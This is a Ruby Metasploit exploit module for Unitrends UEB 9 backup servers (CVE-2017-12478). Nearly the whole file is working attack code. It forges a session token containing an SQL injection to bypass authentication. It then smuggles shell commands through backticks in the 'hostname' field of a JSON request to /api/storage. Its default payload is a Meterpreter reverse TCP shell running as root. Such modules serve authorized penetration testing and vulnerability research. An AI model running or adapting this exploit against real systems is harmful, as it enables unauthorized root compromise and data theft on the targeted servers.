98 lines
3.0 KiB
Ruby
98 lines
3.0 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'openssl'
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require 'base64'
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require 'uri'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::CmdStager
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Unitrends UEB 9 http api/storage remote root',
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'Description' => %q{
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It was discovered that the api/storage web interface in Unitrends Backup (UB)
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before 10.0.0 has an issue in which one of its input parameters was not validated.
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A remote attacker could use this flaw to bypass authentication and execute arbitrary
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commands with root privilege on the target system.
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},
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'Author' =>
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[
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'Cale Smith' # @0xC413
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'Benny Husted', # @BennyHusted
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'Jared Arave' # @iotennui
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],
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'Arch' => [ARCH_X86],
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'CmdStagerFlavor' => [ 'printf' ],
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'References' =>
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[
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['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000TO5PAAW/000005756'],
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['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12478'],
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['CVE', '2017-12478'],
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],
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'Targets' =>
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[
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[ 'UEB 9.*', { } ]
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{ 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
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'SSL' => true
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},
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'DisclosureDate' => 'Aug 8 2017',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(443),
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OptBool.new('SSL', [true, 'Use SSL', true])
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])
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deregister_options('SRVHOST', 'SRVPORT')
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end
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#substitue some charactes
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def filter_bad_chars(cmd)
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cmd.gsub!("\\", "\\\\\\")
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cmd.gsub!("'", '\\"')
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end
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def execute_command(cmd, opts = {})
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session = "v0:b' UNION SELECT -1 -- :1:/usr/bp/logs.dir/gui_root.log:0" #SQLi auth bypass
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session = Base64.strict_encode64(session) #b64 encode session token
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#substitue the cmd into the hostname parameter
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parms = "{\"type\":4,\"name\":\"_Stateless\",\"usage\":\"stateless\",\"build_filesystem\":1,\"properties\":{\"username\":\"aaaa\",\"password\":\"aaaa\",\"hostname\":\"`#{filter_bad_chars(cmd)}` &\",\"port\":\"2049\",\"protocol\":\"nfs\",\"share_name\":\"aaa\"}}"
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res = send_request_cgi({
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'uri' => '/api/storage',
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'method' => 'POST',
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'ctype' => 'application/json',
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'encode_params' => false,
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'data' => parms,
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'headers' =>
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{'AuthToken' => session,}
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})
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if res.code != 500
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print_error("Unexpected response")
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end
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
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end
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def exploit
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print_status("#{peer} - pwn'ng ueb 9....")
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execute_cmdstager(:linemax => 120)
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end
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end
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